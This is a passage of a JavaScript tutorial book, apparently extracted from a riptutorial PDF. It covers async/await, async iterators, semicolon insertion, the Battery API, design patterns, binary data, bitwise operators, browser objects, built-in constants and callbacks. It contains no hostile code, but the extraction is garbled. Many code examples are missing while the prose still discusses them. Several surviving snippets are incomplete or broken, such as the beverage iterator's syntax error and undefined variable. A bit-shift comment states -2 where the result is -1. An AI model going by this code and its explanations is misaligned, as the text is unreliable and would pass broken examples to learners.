A function defined as async is a function that can perform asynchronous actions but still look
synchronous. The way it's done is using the await keyword to defer the function while it waits for a
Promise to resolve or reject.
Note: Async functions are a Stage 4 ("Finished") proposal on track to be included in the
ECMAScript 2017 standard.
https://riptutorial.com/ 86
www.dbooks.org
return await response.json();
}
catch (err) {
// Rejections in the promise will get thrown here
console.error(err.message);
}
}
An async function always returns a Promise itself, so you can use it in other asynchronous
functions.
Less indentation
With promises:
function doTheThing() {
return doOneThing()
.then(doAnother)
.then(doSomeMore)
.catch(handleErrors)
}
Note how the return is at the bottom, and not at the top, and you use the language's native error-
handling mechanics (try/catch).
You have to keep the operator precedence in mind when using await keyword.
Imagine that we have an asynchronous function which calls another asynchronous function,
getUnicorn() which returns a Promise that resolves to an instance of class Unicorn. Now we want to
https://riptutorial.com/ 87
get the size of the unicorn using the getSize() method of that class.
At first sight, it seems valid, but it's not. Due to operator precedence, it's equivalent to the
following:
Here we attempt to call getSize() method of the Promise object, which isn't what we want.
Instead, we should use brackets to denote that we first want to wait for the unicorn, and then call
getSize() method of the result:
Of course. the previous version could be valid in some cases, for example, if the getUnicorn()
function was synchronous, but the getSize() method was asynchronous.
asyncfunctions do not replace the Promise type; they add language keywords that make promises
easier to call. They are interchangeable:
Any function that uses chains of promises can be rewritten using await:
https://riptutorial.com/ 88
www.dbooks.org
function newUnicorn() {
return fetch('unicorn.json') // fetch unicorn.json from server
.then(responseCurrent => responseCurrent.json()) // parse the response as JSON
.then(unicorn =>
fetch('new/unicorn', { // send a request to 'new/unicorn'
method: 'post', // using the POST method
body: JSON.stringify({unicorn}) // pass the unicorn to the request body
})
)
.then(responseNew => responseNew.json())
.then(json => json.success) // return success property of response
.catch(err => console.log('Error creating unicorn:', err));
}
This async variant of newUnicorn() appears to return a Promise, but really there were multiple await
keywords. Each one returned a Promise, so really we had a collection of promises rather than a
chain.
In fact we can think of it as a function* generator, with each await being a yield new Promise.
However, the results of each promise are needed by the next to continue the function. This is why
the additional keyword async is needed on the function (as well as the await keyword when calling
the promises) as it tells Javascript to automatically creates an observer for this iteration. The
Promise returned by async function newUnicorn() resolves when this iteration completes.
Practically, you don't need to consider that; await hides the promise and async hides the generator
iteration.
You can call async functions as if they were promises, and await any promise or any async function.
You don't need to await an async function, just as you can execute a promise without a .then().
You can also use an async IIFE if you want to execute that code immediately:
(async () => {
await makeCoffee()
console.log('coffee is ready!')
})()
https://riptutorial.com/ 89
Looping with async await
When using async await in loops, you might encounter some of these problems.
If you just try to use await inside forEach, this will throw an Unexpected token error.
(async() => {
data = [1, 2, 3, 4, 5];
data.forEach(e => {
const i = await somePromiseFn(e);
console.log(i);
});
})();
This comes from the fact that you've erroneously seen the arrow function as a block. The await will
be in the context of the callback function, which is not async.
The interpreter protects us from making the above error, but if you add async to the forEach
callback no errors get thrown. You might think this solves the problem, but it won't work as
expected.
Example:
(async() => {
data = [1, 2, 3, 4, 5];
data.forEach(async(e) => {
const i = await somePromiseFn(e);
console.log(i);
});
console.log('this will print first');
})();
This happens because the callback async function can only pause itself, not the parent async
function.
You could write an asyncForEach function that returns a promise and then you could
something like await asyncForEach(async (e) => await somePromiseFn(e), data )
Basically you return a promise that resolves when all the callbacks are awaited and
done. But there are better ways of doing this, and that is to just use a loop.
You can use a for-of loop or a for/while loop, it doesn't really matter which one you pick.
(async() => {
data = [1, 2, 3, 4, 5];
for (let e of data) {
const i = await somePromiseFn(e);
console.log(i);
}
console.log('this will print last');
})();
But there's another catch. This solution will wait for each call to somePromiseFn to complete before
https://riptutorial.com/ 90
www.dbooks.org
iterating over the next one.
This is great if you actually want your somePromiseFn invocations to be executed in order but if you
want them to run concurrently, you will need to await on Promise.all.
(async() => {
data = [1, 2, 3, 4, 5];
const p = await Promise.all(data.map(async(e) => await somePromiseFn(e)));
console.log(...p);
})();
Promise.allreceives an array of promises as its only parameter and returns a promise. When all of
the promises in the array are resolved, the returned promise is also resolved. We await on that
promise and when it's resolved all our values are available.
The above examples are fully runnable. The somePromiseFn function can be made as an async echo
function with a timeout. You can try out the examples in the babel-repl with at least the stage-3
preset and look at the output.
function somePromiseFn(n) {
return new Promise((res, rej) => {
setTimeout(() => res(n), 250);
});
}
Often you will want to perform asynchronous operations in parallel. There is direct syntax that
supports this in the async/await proposal, but since await will wait for a promise, you can wrap
multiple promises together in Promise.all to wait for them:
// Not in parallel
This will do each query to get each friend's posts serially, but they can be done simultaneously:
// In parallel
https://riptutorial.com/ 91
This will loop over the list of IDs to create an array of promises. await will wait for all promises to
be complete. Promise.all combines them into a single promise, but they are done in parallel.
https://riptutorial.com/ 92
www.dbooks.org
Chapter 9: Async Iterators
Introduction
An async function is one that returns a promise. await yields to the caller until the promise resolves
and then continues with the result.
An async iterator is a collection where each iteration is a promise which can be awaited using a
for-await-of loop.
Async iterators are a stage 3 proposal. They are in Chrome Canary 60 with --harmony-async-
iteration
Syntax
• async function* asyncGenerator() {}
• yield await asyncOperationWhichReturnsAPromise();
• for await (let result of asyncGenerator()) { /* result is the resolved value from the promise */ }
Remarks
An async iterator is a declarative pull stream as opposed to an Observable's declarative push
stream.
Useful Links
Examples
Basics
A JavaScript Iterator is an object with a .next() method, which returns an IteratorItem, which is
an object with value : <any> and done : <boolean>.
/**
https://riptutorial.com/ 93
* Returns a promise which resolves after time had passed.
*/
const delay = time => new Promise(resolve => setTimeout(resolve, time));
The delayedRange function will take a maximum number, and returns an AsyncIterator, which yields
numbers from 0 to that number, in 1 second intervals.
Usage:
The for await of loop is another piece of new syntax, available only inside of async functions, as
well as async generators. Inside the loop, the values yielded (which, remember, are Promises) are
unwrapped, so the Promise is hidden away. Within the loop, you can deal with the direct values
(the yielded numbers), the for await of loop will wait for the Promises on your behalf.
The above example will wait 1 second, log 0, wait another second, log 1, and so on, until it logs 9.
At which point the AsyncIterator will be done, and the for await of loop will exit.
https://riptutorial.com/ 94
www.dbooks.org
Chapter 10: Automatic Semicolon Insertion -
ASI
Examples
Rules of Automatic Semicolon Insertion
1. When, as the program is parsed from left to right, a token (called the offending
token) is encountered that is not allowed by any production of the grammar, then
a semicolon is automatically inserted before the offending token if one or more of
the following conditions is true:
• The offending token is separated from the previous token by at least one
LineTerminator.
• The offending token is }.
2. When, as the program is parsed from left to right, the end of the input stream of
tokens is encountered and the parser is unable to parse the input token stream
as a single complete ECMAScript Program, then a semicolon is automatically
inserted at the end of the input stream.
3. When, as the program is parsed from left to right, a token is encountered that is
allowed by some production of the grammar, but the production is a restricted
production and the token would be the first token for a terminal or nonterminal
immediately following the annotation "[no LineTerminator here]" within the restricted
production (and therefore such a token is called a restricted token), and the
restricted token is separated from the previous token by at least one
LineTerminator, then a semicolon is automatically inserted before the restricted
token.
• empty statement
• var statement
• expression statement
• do-while statement
• continue statement
https://riptutorial.com/ 95
• break statement
• return statement
• throw statement
Examples:
When the end of the input stream of tokens is encountered and the parser is unable to parse the
input token stream as a single complete Program, then a semicolon is automatically inserted at the
end of the input stream.
a = b
++c
// is transformed to:
a = b;
++c;
x
++
y
// is transformed to:
x;
++y;
Array indexing/literals
console.log("Hello, World")
[1,2,3].join()
// is transformed to:
console.log("Hello, World")[(1, 2, 3)].join();
Return statement:
return
"something";
// is transformed to
return;
"something";
The JavaScript coding convention is to place the starting bracket of blocks on the same line of
their declaration:
if (...) {
https://riptutorial.com/ 96
www.dbooks.org
if (...)
{
This has been adopted to avoid semicolon insertion in return statements that return objects:
function foo()
{
return // A semicolon will be inserted here, making the function return nothing
{
foo: 'foo'
};
}
foo(); // undefined
function properFoo() {
return {
foo: 'foo'
};
}
In most languages the placement of the starting bracket is just a matter of personal preference, as
it has no real impact on the execution of the code. In JavaScript, as you've seen, placing the initial
bracket in the next line can lead to silent errors.
https://riptutorial.com/ 97
Chapter 11: Battery Status API
Remarks
1. Note that the Battery Status API is no longer available due to privacy reasons where it could
be used by remote trackers for user fingerprinting.
2. The Battery Status API is an Application Programming Interface for the client's battery
status. It provides information on:
Examples
Getting current battery level
Is battery charging?
https://riptutorial.com/ 98
www.dbooks.org
// Get the battery API
navigator.getBattery().then(function(battery) {
console.log( "Battery will get fully charged in ", battery.chargingTime, " seconds" );
});
Battery Events
battery.addEventListener('levelchange', function(){
console.log( 'New battery level: ', battery.level * 100 + "%" );
});
battery.addEventListener('chargingtimechange', function(){
console.log( 'New time left until full: ', battery.chargingTime, " seconds" );
});
battery.addEventListener('dischargingtimechange', function(){
console.log( 'New time left until empty: ', battery.dischargingTime, " seconds" );
});
});
https://riptutorial.com/ 99
Chapter 12: Behavioral Design Patterns
Examples
Observer pattern
The Observer pattern is used for event handling and delegation. A subject maintains a collection
of observers. The subject then notifies these observers whenever an event occurs. If you've ever
used addEventListener then you've utilized the Observer pattern.
function Subject() {
this.observers = []; // Observers listening to the subject
this.registerObserver = function(observer) {
// Add an observer if it isn't already being tracked
if (this.observers.indexOf(observer) === -1) {
this.observers.push(observer);
}
};
this.unregisterObserver = function(observer) {
// Removes a previously registered observer
var index = this.observers.indexOf(observer);
if (index > -1) {
this.observers.splice(index, 1);
}
};
this.notifyObservers = function(message) {
// Send a message to all observers
this.observers.forEach(function(observer) {
observer.notify(message);
});
};
}
function Observer() {
this.notify = function(message) {
// Every observer must implement this function
};
}
Example usage:
function Employee(name) {
this.name = name;
https://riptutorial.com/ 100
www.dbooks.org
var jane = new Employee('Jane');
var meetingAlerts = new Subject();
meetingAlerts.registerObserver(bob);
meetingAlerts.registerObserver(jane);
meetingAlerts.notifyObservers('4pm');
// Output:
// Bob: There is a meeting at 4pm
// Jane: There is a meeting at 4pm
Mediator Pattern
Think of the mediator pattern as the flight control tower that controls planes in the air: it directs this
plane to land now, the second to wait, and the third to take off, etc. However no plane is ever
allowed to talk to its peers.
This is how mediator works, it works as a communication hub among different modules, this way
you reduce module dependency on each other, increase loose coupling, and consequently
portability.
// each participant is just a module that wants to talk to other modules(other participants)
var Participant = function(name) {
this.name = name;
this.chatroom = null;
};
// each participant has method for talking, and also listening to other participants
Participant.prototype = {
send: function(message, to) {
this.chatroom.send(message, this, to);
},
receive: function(message, from) {
log.add(from.name + " to " + this.name + ": " + message);
}
};
// chatroom is the Mediator: it is the hub where participants send messages to, and receive
messages from
var Chatroom = function() {
var participants = {};
return {
register: function(participant) {
participants[participant.name] = participant;
participant.chatroom = this;
},
https://riptutorial.com/ 101
};
};
// log helper
return {
add: function(msg) { log += msg + "\n"; },
show: function() { alert(log); log = ""; }
}
})();
function run() {
var yoko = new Participant("Yoko");
var john = new Participant("John");
var paul = new Participant("Paul");
var ringo = new Participant("Ringo");
log.show();
}
Command
The command pattern encapsulates parameters to a method, current object state, and which
method to call. It is useful to compartmentalize everything needed to call a method at a later time.
It can be used to issue a "command" and decide later which piece of code to use to execute the
command.
1. Command Message - the command itself, including the method name, parameters, and state
2. Invoker - the part which instructs the command to execute its instructions. It can be a timed
event, user interaction, a step in a process, callback, or any way needed to execute the
command.
3. Reciever - the target of the command execution.
https://riptutorial.com/ 102
www.dbooks.org
aCommand.push(new Array() ); //array argument
class DoThis {
constructor( stringArg, numArg, objectArg, arrayArg ) {
this._stringArg = stringArg;
this._numArg = numArg;
this._objectArg = objectArg;
this._arrayArg = arrayArg;
}
Execute() {
var receiver = new Instructions();
receiver.DoThis(this._stringArg, this._numArg, this._objectArg, this._arrayArg );
}
}
Invoker
aCommand.Execute();
Can invoke:
• immediately
• in response to an event
• in a sequence of execution
• as a callback response or in a promise
• at the end of an event loop
• in any other needed way to invoke a method
Receiver
class Instructions {
DoThis( stringArg, numArg, objectArg, arrayArg ) {
console.log( `${stringArg}, ${numArg}, ${objectArg}, ${arrayArg}` );
}
}
Iterator
An iterator pattern provides a simple method for selecting, sequentially, the next item in a
collection.
Fixed Collection
https://riptutorial.com/ 103
class BeverageForPizza {
constructor(preferenceRank) {
this.beverageList = beverageList;
this.pointer = 0;
}
next() {
return this.beverageList[this.pointer++];
}
In ECMAScript 2015 iterators are a built-in as a method that returns done and value. done is true
when the iterator is at the end of the collection
function preferredBeverage(beverage){
if( beverage == "Beer" ){
return true;
} else {
return false;
}
}
var withPepperoni = new BeverageForPizza(["Cola", "Water", "Beer", "Orange Juice"]);
for( var bevToOrder of withPepperoni ){
if( preferredBeverage( bevToOrder ) {
bevToOrder.done; //false, because "Beer" isn't the final collection item
return bevToOrder; //"Beer"
}
}
As a Generator
class FibonacciIterator {
constructor() {
this.previous = 1;
this.beforePrevious = 1;
}
next() {
var current = this.previous + this.beforePrevious;
this.beforePrevious = this.previous;
this.previous = current;
return current;
}
}
In ECMAScript 2015
https://riptutorial.com/ 104
www.dbooks.org
var beforePrevious = 1;
while(true) {
var current = previous + beforePrevious;
beforePrevious = previous;
previous = current;
yield current; //This is like return but
//keeps the current state of the function
// i.e it remembers its place between calls
}
}
https://riptutorial.com/ 105
Chapter 13: Binary Data
Remarks
Typed Arrays were originally specified by a Khronos editor's draft, and later standardized in
ECMAScript 6 §24 and §22.2.
Examples
Converting between Blobs and ArrayBuffers
JavaScript has two primary ways to represent binary data in the browser.
ArrayBuffers/TypedArrays contain mutable (though still fixed-length) binary data which you can
directly manipulate. Blobs contain immutable binary data which can only be accessed through the
asynchronous File interface.
fileReader.onload = function() {
array = this.result;
console.log("Array contains", array.byteLength, "bytes.");
};
fileReader.readAsArrayBuffer(blob);
reader.onloadend = function() {
resolve(reader.result);
};
reader.readAsArrayBuffer(blob);
});
arrayPromise.then(function(array) {
console.log("Array contains", array.byteLength, "bytes.");
});
https://riptutorial.com/ 106
www.dbooks.org
Convert an ArrayBuffer or typed array to a Blob
DataViews provide methods to read and write individual values from an ArrayBuffer, instead of
viewing the entire thing as an array of a single type. Here we set two bytes individually then
interpret them together as a 16-bit unsigned integer, first big-endian then little-endian.
view.setUint8(0, 0xFF);
view.setUint8(1, 0x01);
var data =
'iVBORw0KGgoAAAANSUhEUgAAAAUAAAAFCAYAAACN' +
'byblAAAAHElEQVQI12P4//8/w38GIAXDIBKE0DHx' +
'gljNBAAO9TXL0Y4OHwAAAABJRU5ErkJggg==';
Using TypedArrays
TypedArrays are a set of types providing different views into fixed-length mutable binary
ArrayBuffers. For the most part, they act like Arrays that coerce all assigned values to a given
numeric type. You can pass an ArrayBuffer instance to a TypedArray constructor to create a new
view of its data.
console.log(byteView); // [0, 0, 0, 0, 0, 0, 0, 0]
console.log(floatView); // [0]
byteView[0] = 0x01;
byteView[1] = 0x02;
byteView[2] = 0x04;
https://riptutorial.com/ 107
byteView[3] = 0x08;
console.log(floatView); // [6.64421383e-316]
ArrayBuffers can be copied using the .slice(...) method, either directly or through a TypedArray
view.
We'll assume you know how to load a file using the File API.
// preliminary code to handle getting local file and finally printing to console
// the results of our function ArrayBufferToBinary().
var file = // get handle to local file.
var reader = new FileReader();
reader.onload = function(event) {
var data = event.target.result;
console.log(ArrayBufferToBinary(data));
};
reader.readAsArrayBuffer(file); //gets an ArrayBuffer of the file
Now we perform the actual conversion of the file data into 1's and 0's using a DataView:
function ArrayBufferToBinary(buffer) {
// Convert an array buffer to a string bit-representation: 0 1 1 0 0 0...
var dataView = new DataView(buffer);
var response = "", offset = (8/8);
for(var i = 0; i < dataView.byteLength; i += offset) {
response += dataView.getInt8(i).toString(2);
}
return response;
}
DataViews let you read/write numeric data; getInt8 converts the data from the byte position - here 0,
the value passed in - in the ArrayBuffer to signed 8-bit integer representation, and toString(2)
converts the 8-bit integer to binary representation format (i.e. a string of 1's and 0's).
Files are saved as bytes. The 'magic' offset value is obtained by noting we are taking files stored
as bytes i.e. as 8-bit integers and reading it in 8-bit integer representation. If we were trying to read
our byte-saved (i.e. 8 bits) files to 32-bit integers, we would note that 32/8 = 4 is the number of
byte spaces, which is our byte offset value.
For this task, DataViews are overkill. They are typically used in cases where endianness or
heterogeneity of data are encountered (e.g. in reading PDF files, which have headers encoded in
https://riptutorial.com/ 108
www.dbooks.org
different bases and we would like to meaningfully extract that value). Because we just want a
textual representation, we do not care about heterogeneity as there is never a need to
A much better - and shorter - solution can be found using an UInt8Array typed array, which treats
the entire ArrayBuffer as composed of unsigned 8-bit integers:
function ArrayBufferToBinary(buffer) {
var uint8 = new Uint8Array(buffer);
return uint8.reduce((binary, uint8) => binary + uint8.toString(2), "");
}
For a convenient way to iterate through an arrayBuffer, you can create a simple iterator that
implements the DataView methods under the hood:
ArrayBufferCursor.prototype.next = function(type) {
switch(type) {
case 'Uint8':
var result = this.dataview.getUint8(this.index);
this.index += 1;
return result;
case 'Int16':
var result = this.dataview.getInt16(this.index, true);
this.index += 2;
return result;
case 'Uint16':
var result = this.dataview.getUint16(this.index, true);
this.index += 2;
return result;
case 'Int32':
var result = this.dataview.getInt32(this.index, true);
this.index += 4;
return result;
case 'Uint32':
var result = this.dataview.getUint32(this.index, true);
this.index += 4;
return result;
case 'Float':
case 'Float32':
var result = this.dataview.getFloat32(this.index, true);
this.index += 4;
return result;
case 'Double':
case 'Float64':
var result = this.dataview.getFloat64(this.index, true);
this.index += 8;
return result;
default:
throw new Error("Unknown datatype");
https://riptutorial.com/ 109
}
};
ArrayBufferCursor.prototype.hasNext = function() {
return this.index < this.size;
}
return ArrayBufferCursor;
});
for(;cursor.hasNext();) {
// There's still items to process
}
You can use the next method to take the next value:
With such an iterator, writing your own parser to process binary data becomes pretty easy.
https://riptutorial.com/ 110
www.dbooks.org
Chapter 14: Bitwise operators
Examples
Bitwise operators
Bitwise operators perform operations on bit values of data. These operators convert operands to
signed 32-bit integers in two's complement.
Before: 10100110111110100000000010000011110001000001
After: 10100000000010000011110001000001
Two's Complement
In normal binary we find the binary value by adding the 1's based on their position as powers of 2 -
The rightmost bit being 2^0 to the leftmost bit being 2^n-1 where n is the number of bits. For
example, using 4 bits:
// Normal Binary
// 8 4 2 1
0 1 1 0 => 0 + 4 + 2 + 0 => 6
Two complement's format means that the number's negative counterpart (6 vs -6) is all the bits for
a number inverted, plus one. The inverted bits of 6 would be:
// Normal binary
0 1 1 0
// One's complement (all bits inverted)
1 0 0 1 => -8 + 0 + 0 + 1 => -7
// Two's complement (add 1 to one's complement)
1 0 1 0 => -8 + 0 + 2 + 0 => -6
Note: Adding more 1's to the left of a binary number does not change its value in two's
compliment. The value 1010 and 1111111111010 are both -6.
Bitwise AND
The bitwise AND operation a & b returns the binary value with a 1 where both binary operands
have 1's in a specific position, and 0 in all other positions. For example:
https://riptutorial.com/ 111
13 & 7 => 5
// 13: 0..01101
// 7: 0..00111
//-----------------
// 5: 0..00101 (0 + 0 + 4 + 0 + 1)
Instead of this "masterpiece" (unfortunately too often seen in many real code parts):
function isEven(n) {
return n % 2 == 0;
}
function isOdd(n) {
if (isEven(n)) {
return false;
} else {
return true;
}
}
You can check the (integer) number's parity in much more effective and simple manner:
if(n & 1) {
console.log("ODD!");
} else {
console.log("EVEN!");
}
Bitwise OR
The bitwise OR operation a | b returns the binary value with a 1 where either operands or both
operands have 1's in a specific position, and 0 when both values have 0 in a position. For example:
13 | 7 => 15
// 13: 0..01101
// 7: 0..00111
//-----------------
// 15: 0..01111 (0 + 8 + 4 + 2 + 1)
Bitwise NOT
The bitwise NOT operation ~a flips the bits of the given value a. This means all the 1's will become
0's and all the 0's will become 1's.
https://riptutorial.com/ 112
www.dbooks.org
Bitwise XOR
The bitwise XOR (exclusive or) operation a ^ b places a 1 only if the two bits are different.
Exclusive or means either one or the other, but not both.
13 ^ 7 => 10
// 13: 0..01101
// 7: 0..00111
//-----------------
// 10: 0..01010 (0 + 8 + 0 + 2 + 0)
Real world example: swapping two integer values without additional memory allocation
Shift Operators
Bitwise shifting can be thought as "moving" the bits either left or right, and hence changing the
value of the data operated on.
Left Shift
The left shift operator (value) << (shift amount) will shift the bits to the left by (shift amount) bits;
the new bits coming in from the right will be 0's:
5 << 2 => 20
// 5: 0..000101
// 20: 0..010100 <= adds two 0's to the right
20 >> 2 => 5
// 20: 0..010100
// 5: 0..000101 <= added two 0's from the left and chopped off 00 from the right
-5 >> 3 => -1
// -5: 1..111011
// -2: 1..111111 <= added three 1's from the left and chopped off 011 from the right
https://riptutorial.com/ 113
Right Shift (Zero fill)
The zero-fill right shift operator (value) >>> (shift amount) will move the bits to the right, and the
new bits will be 0's. The 0's are shifted in from the left, and excess bits to the right are shifted off
and discarded. This means it can make negative numbers into positive ones.
Zero-fill right shift and sign-propagating right shift yield the same result for non negative numbers.
https://riptutorial.com/ 114
www.dbooks.org
Chapter 15: Bitwise Operators - Real World
Examples (snippets)
Examples
Number's Parity Detection with Bitwise AND
Instead of this (unfortunately too often seen in the real code) "masterpiece":
function isEven(n) {
return n % 2 == 0;
}
function isOdd(n) {
if (isEven(n)) {
return false;
} else {
return true;
}
}
You can do the parity check much more effective and simple:
if(n & 1) {
console.log("ODD!");
} else {
console.log("EVEN!");
}
Shifting bits left (right) is equivalent to multiplying (dividing) by 2. It's the same in base 10: if we
"left-shift" 13 by 2 places, we get 1300, or 13 * (10 ** 2). And if we take 12345 and "right-shift" by 3
places and then remove the decimal part, we get 12, or Math.floor(12345 / (10 ** 3)). So if we
want to multiply a variable by 2 ** n, we can just left-shift by n bits.
https://riptutorial.com/ 115
console.log(13 * (2 ** 6)) //13 * 64 = 832
console.log(13 << 6) // 832
In reality, speed of arithmetic is unlikely to significantly impact how long your code takes to run,
unless you are doing on the order of 100s of millions of computations. But C programmers love
this sort of thing!
https://riptutorial.com/ 116
www.dbooks.org
Chapter 16: BOM (Browser Object Model)
Remarks
For more information on the Window object, please visit MDN.
Examples
Introduction
The BOM (Browser Object Model) contains objects that represent the current browser window and
components; objects that model things like history, device's screen, etc
The topmost object in BOM is the window object, which represents the current browser window or
tab.
https://riptutorial.com/ 117
• Document: represents current web page.
• History: represents pages in browser history.
• Location: represents URL of current page.
• Navigator: represents information about browser.
• Screen: represents device's display information.
The most important object in the Browser Object Model is the window object. It helps in accessing
information about the browser and its components. To access these features, it has various
methods and properties.
Method Description
window.print() Tells browser that user wants to print contents of current page
https://riptutorial.com/ 118
www.dbooks.org
Property Description
https://riptutorial.com/ 119
Chapter 17: Built-in Constants
Examples
Operations that return NaN
"a" + 1
"b" * 3
"cde" - "e"
[1, 2, 3] * 2
0 / 0 // NaN
Generally, Math functions that are given non-numeric arguments will return NaN.
Math.floor("a")
The square root of a negative number returns NaN, because Math.sqrt does not support imaginary
or complex numbers.
Math.sqrt(-1)
window.isNaN()
The global function isNaN() can be used to check if a certain value or expression evaluates to NaN.
This function (in short) first checks if the value is a number, if not tries to convert it (*), and then
https://riptutorial.com/ 120
www.dbooks.org
checks if the resulting value is NaN. For this reason, this testing method may cause confusion.
(*) The "conversion" method is not that simple, see ECMA-262 18.2.3 for a detailed explanation of the algorithm.
These examples will help you better understand the isNaN() behavior:
isNaN(NaN); // true
isNaN(1); // false: 1 is a number
isNaN(-2e-4); // false: -2e-4 is a number (-0.0002) in scientific notation
isNaN(Infinity); // false: Infinity is a number
isNaN(true); // false: converted to 1, which is a number
isNaN(false); // false: converted to 0, which is a number
isNaN(null); // false: converted to 0, which is a number
isNaN(""); // false: converted to 0, which is a number
isNaN(" "); // false: converted to 0, which is a number
isNaN("45.3"); // false: string representing a number, converted to 45.3
isNaN("1.2e3"); // false: string representing a number, converted to 1.2e3
isNaN("Infinity"); // false: string representing a number, converted to Infinity
isNaN(new Date); // false: Date object, converted to milliseconds since epoch
isNaN("10$"); // true : conversion fails, the dollar sign is not a digit
isNaN("hello"); // true : conversion fails, no digits at all
isNaN(undefined); // true : converted to NaN
isNaN(); // true : converted to NaN (implicitly undefined)
isNaN(function(){}); // true : conversion fails
isNaN({}); // true : conversion fails
isNaN([1, 2]); // true : converted to "1, 2", which can't be converted to a number
This last one is a bit tricky: checking if an Array is NaN. To do this, the Number() constructor first
converts the array to a string, then to a number; this is the reason why isNaN([]) and isNaN([34])
both return false, but isNaN([1, 2]) and isNaN([true]) both return true: because they get converted
to "", "34", "1,2" and "true" respectively. In general, an array is considered NaN by isNaN()
unless it only holds one element whose string representation can be converted to a valid
number.
Number.isNaN()
In ECMAScript 6, the Number.isNaN() function has been implemented primarily to avoid the problem
of window.isNaN() of forcefully converting the parameter to a number. Number.isNaN(), indeed,
doesn't try to convert the value to a number before testing. This also means that only values of
the type number, that are also NaN, return true (which basically means only Number.isNaN(NaN)).
When the Number.isNaN is called with one argument number, the following steps are
taken:
Some examples:
https://riptutorial.com/ 121
// The one and only
Number.isNaN(NaN); // true
// Numbers
Number.isNaN(1); // false
Number.isNaN(-2e-4); // false
Number.isNaN(Infinity); // false
null
null is used for representing the intentional absence of an object value and is a primitive value.
Unlike undefined, it is not a property of the global object.
To properly check if a value is null, compare it with the strict equality operator
var a = null;
At first glance it may appear that null and undefined are basically the same, however there are
subtle but important differences.
https://riptutorial.com/ 122
www.dbooks.org
undefined is the absence of a value in the compiler, because where it should be a value, there
hasn't been put one, like the case of an unassigned variable.
Setting a variable to undefined means the variable effectively does not exist. Some processes,
such as JSON serialization, may strip undefined properties from objects. In contrast, null
properties indicate will be preserved so you can explicitly convey the concept of an "empty"
property.
○ let foo;
console.log('is undefined?', foo === undefined);
// is undefined? true
• The value of a function argument that is declared but has been omitted from the function call
○ function foo(param) {
console.log('is undefined?', param === undefined);
}
foo('a');
foo();
// is undefined? false
// is undefined? true
// Only in browsers
console.log(window.undefined); // undefined
window.hasOwnProperty('undefined'); // true
Before ECMAScript 5 you could actually change the value of the window.undefined property to any
https://riptutorial.com/ 123
other value potentially breaking everything.
1 / 0; // Infinity
// Wait! WHAAAT?
It is greater than any other value, and you can get it by dividing by 0 or by evaluating the
expression of a number that's so big that overflows. This actually means there is no division by 0
errors in JavaScript, there is Infinity!
There is also -Infinity which is mathematical negative infinity, and it's lower than any other value.
- (Infinity); // -Infinity
var a = 0, b = -0;
a === b; // true
1 / a === 1 / b; // false
NaN
NaN stands for "Not a Number." When a mathematical function or operation in JavaScript cannot
return a specific number, it returns the value NaN instead.
window.hasOwnProperty('NaN'); // true
NaN; // NaN
https://riptutorial.com/ 124
www.dbooks.org
Perhaps confusingly, NaN is still considered a number.
Don't check for NaN using the equality operator. See isNaN instead.
Number constants
The Number constructor has some built in constants that can be useful
Number.MAX_VALUE; // 1.7976931348623157e+308
Number.MAX_SAFE_INTEGER; // 9007199254740991
Number.MIN_VALUE; // 5e-324
Number.MIN_SAFE_INTEGER; // -9007199254740991
Number.EPSILON; // 0.0000000000000002220446049250313
Number.POSITIVE_INFINITY; // Infinity
Number.NEGATIVE_INFINITY; // -Infinity
Number.NaN; // NaN
In many cases the various operators in Javascript will break with values outside the range of (
Number.MIN_SAFE_INTEGER, Number.MAX_SAFE_INTEGER)
Note that Number.EPSILON represents the different between one and the smallest Number greater than
one, and thus the smallest possible difference between two different Number values. One reason to
use this is due to the nature of how numbers are stored by JavaScript see Check the equality of
two numbers
https://riptutorial.com/ 125
Chapter 18: Callbacks
Examples
Simple Callback Usage Examples
Callbacks offer a way to extend the functionality of a function (or method) without changing its
code. This approach is often used in modules (libraries / plugins), the code of which is not
supposed to be changed.
Suppose we have written the following function, calculating the sum of a given array of values:
function foo(array) {
var sum = 0;
for (var i = 0; i < array.length; i++) {
sum += array[i];
}
return sum;
}
Now suppose that we want to do something with each value of the array, e.g. display it using
alert(). We could make the appropriate changes in the code of foo, like this:
function foo(array) {
var sum = 0;
for (var i = 0; i < array.length; i++) {
alert(array[i]);
sum += array[i];
}
return sum;
}
But what if we decide to use console.log instead of alert()? Obviously changing the code of foo,
whenever we decide to do something else with each value, is not a good idea. It is much better to
have the option to change our mind without changing the code of foo. That's exactly the use case
for callbacks. We only have to slightly change foo's signature and body:
And now we are able to change the behaviour of foo just by changing its parameters:
https://riptutorial.com/ 126
www.dbooks.org
foo(array, function (x) {
console.log(x);
});
$.getJSON() syntax:
The following would not work, because the data-handling code would likely be called before the
data is actually received, because the $.getJSON function takes an unspecified length of time and
does not hold up the call stack as it waits for the JSON.
$.getJSON("foo.json", {});
// data handling code
.animate() syntax:
For example, to create a fading-out animation after which the element completely disappears, the
following code can be run. Note the use of the callback.
This allows the element to be hidden right after the function has finished execution. This differs
from:
https://riptutorial.com/ 127
because the latter does not wait for animate() (an asynchronous function) to complete, and
therefore the element is hidden right away, producing an undesirable effect.
What is a callback?
console.log("Hello World!");
When you call a normal function, it does its job and then returns control back to the caller.
However, sometimes a function needs to return control back to the caller in order to do its job:
[1,2,3].map(function double(x) {
return 2 * x;
});
In the above example, the function double is a callback for the function map because:
Thus, the function map is essentially returning control back to the caller every time it calls the
function double. Hence, the name “callback”.
promise.then(function onFulfilled(value) {
console.log("Fulfilled with value " + value);
}, function onRejected(reason) {
console.log("Rejected with reason " + reason);
});
Here then function then accepts two callback functions, onFulfilled and onRejected. Furthermore,
only one of these two callback functions is actually called.
What's more interesting is that the function then returns before either of the callbacks are called.
Hence, a callback function may be called even after the original function has returned.
Callbacks can be used to provide code to be executed after a method has completed:
/**
* @arg {Function} then continuation callback
*/
function doSomething(then) {
console.log('Doing something');
then();
}
https://riptutorial.com/ 128
www.dbooks.org
// Do something, then execute callback to log 'done'
doSomething(function () {
console.log('Done');
});
// Outputs:
// "Doing something"
// "Done"
// "Doing something else"
The doSomething() method above executes synchronously with the callback - execution blocks until
doSomething() returns, ensuring that the callback is executed before the interpreter moves on.
doSomethingAsync(then) {
setTimeout(then, 1000);
console.log('Doing something asynchronously');
}
doSomethingAsync(function() {
console.log('Done');
});
// Outputs:
// "Doing something asynchronously"
// "Doing something else"
// "Done"
The then callbacks are considered continuations of the doSomething() methods. Providing a
callback as the last instruction in a function is called a tail-call, which is optimized by ES2015
interpreters.
Callbacks are often used to provide error handling. This is a form of control flow branching, where
some instructions are executed only when an error occurs:
function onSuccess() {
console.log('Value was expected');
}
https://riptutorial.com/ 129
function onFailure() {
